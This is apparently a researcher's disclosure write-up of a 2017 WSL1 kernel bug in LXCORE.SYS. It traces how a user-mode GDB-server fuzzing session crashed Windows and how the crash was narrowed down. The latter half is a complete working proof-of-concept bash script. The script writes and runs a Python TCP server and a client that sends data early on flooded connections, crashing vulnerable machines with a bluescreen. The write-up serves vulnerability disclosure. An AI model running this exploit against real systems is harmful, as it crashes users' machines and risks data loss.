Timeline
Found at or before May 2nd, 2017 Reported May 2nd~3rd, 2017 Fixed in 10.0.15063.XXX 2017-XX-XX
Demo
Story
Years ago, while trying to fuzz the GDB-server-implementation in the Nintendo® Game Boy Advance-emulator VBA-M (Visual-Boy Advance), I came upon a few issues. For one, fuzzing on Windows 10, my primary operating-system, was not as easy as I’d like it to. Now this was a fairly easy problem to solve, as Microsoft had just a few months before released their first stable release of the Windows Subsystem for Linux (IIRC, still called Bash on Windows at the time). The second issue, was that I couldn’t find an appropriate protocol-fuzzer for GDB. This required a bit more work, requiring me to write one myself in python. GDB treats a TCP-connection as a serial-port, meaning it reuses the GDB serial-protocol. The GDB serial-protocol is reasonably well documented, so this didn’t pose too many additional hours. Then, there was the big issue: My computer crashing.

A bugcheck, or Blue Screen Of Death, is triggered whenever the Windows kernel detects an error. VBA-M runs in user-mode, as does GDB, as does my python-based fuzzer. Nothing in user-mode should be able to cause a kernel crash and if it does, that’s a bug, and a potential security-issue.
So, now the questions become what’s triggered, where is it triggered, and how is it triggered.
Now, the first clue is in the bugcheck itself, on the bottom-most line: “LXCORE.SYS”. LXCORE.SYS, which was previously known as dates back to Microsofts Project Astoria, and is the core kernel-component of WSL1 (As the name suggests). So now we know what kernel-module is failing, and it’s not too surprising that it is the (then) relatively new WSL1.
The second clue? Well it happens when VBA-M has its GDB-server enabled, but not when it isn’t. Third, when the bugcheck is triggered, Windows writes a memory-dump to the C:\-drive. The memory-dump includes everything that’s needed to find out what went wrong, including the stack-trace. The stack-trace, or the call-stack if you will, includes references to functions like: “LxpSocketInetStreamShutdownInternal”, “LxpSocketInetStreamFileReleaseInternal”, and “LxpSocketInetStreamAcceptWorkerRoutine”. These functions have a few words in common, such as “Lxp” (possibly LinuX Pico), “Inet” (indicating IP), and “Stream” (in context, TCP). The word “Accept” indicates that it likely has to do with the server accepting a connection.
Exploit
Now, to test the hypothesis, we need to create the most basic possible “server”, and associated client. To accept a TCP-connection, you need to do three syscalls in a *nix-system:
- You need to bind the socket to a port
- You need to listen on that socket
- You need to accept the connection
When you do this, and have a client send data early, you end up with a bugcheck. Yay for crashing the PC.
The below exploit is very simple, it’s just a bash-program (with some flare of course), that writes a python client and a python server to disk, then runs both of them for a few seconds (assuming that if the bug is triggered, it’s relatively fast). If the program completes running for more than 1 minute, it’s assumed that the bugcheck has been fixed.
#!/bin/bash
function typewriter
{
text="$1"
for i in $(seq 0 $(expr length "${text}")) ; do
echo -n "${text:$i:1}"
sleep 0.003
done
}
function hackify
{
echo -e "\033[38;2;0;250;0m"
echo -e "\033[48;2;0;000;0m"
}
typewriter "[ * ] Hackifying terminal"
for i in $(seq 3); do
echo -n .
sleep .3
done
hackify
clear
typewriter "[ * ] Terminal hackified"
sleep 1
clear
typewriter "|----------------------------------------|";echo
typewriter "| |";echo
typewriter "| Babesia |";echo
typewriter "| |";echo
typewriter "| by @sundhaug92 |";echo
typewriter "| |";echo
typewriter "|----------------------------------------|";echo
echo
echo 3
echo "
import socket
import time
s = socket.socket()
s.bind(('0.0.0.0', 55555))
s.listen(1)
s.accept()
while True: time.sleep(1)" > server.py
sleep 1
echo 2
echo -e "
import socket
r = []
while True:
s = socket.socket()
s.connect(('localhost', 55555))
s.send(b'A')
r.append(s)" > client.py
sleep 1
echo 1
python server.py &
server_pid=$!
sleep 1
python3 client.py &
client_pid=$!
sleep 1
echo IMPACT
for i in $(seq 60); do
echo -n .
sleep 1
done
clear
typewriter "https://www.youtube.com/watch?v=w1--BxLy3lg#t=1m39s";echo
typewriter "^ We're still here'";echo
echo
typewriter "killing child-processes"
kill -9 $server_pid $client_pid
The exploit is named after Babesia, which is a single-cell parasite.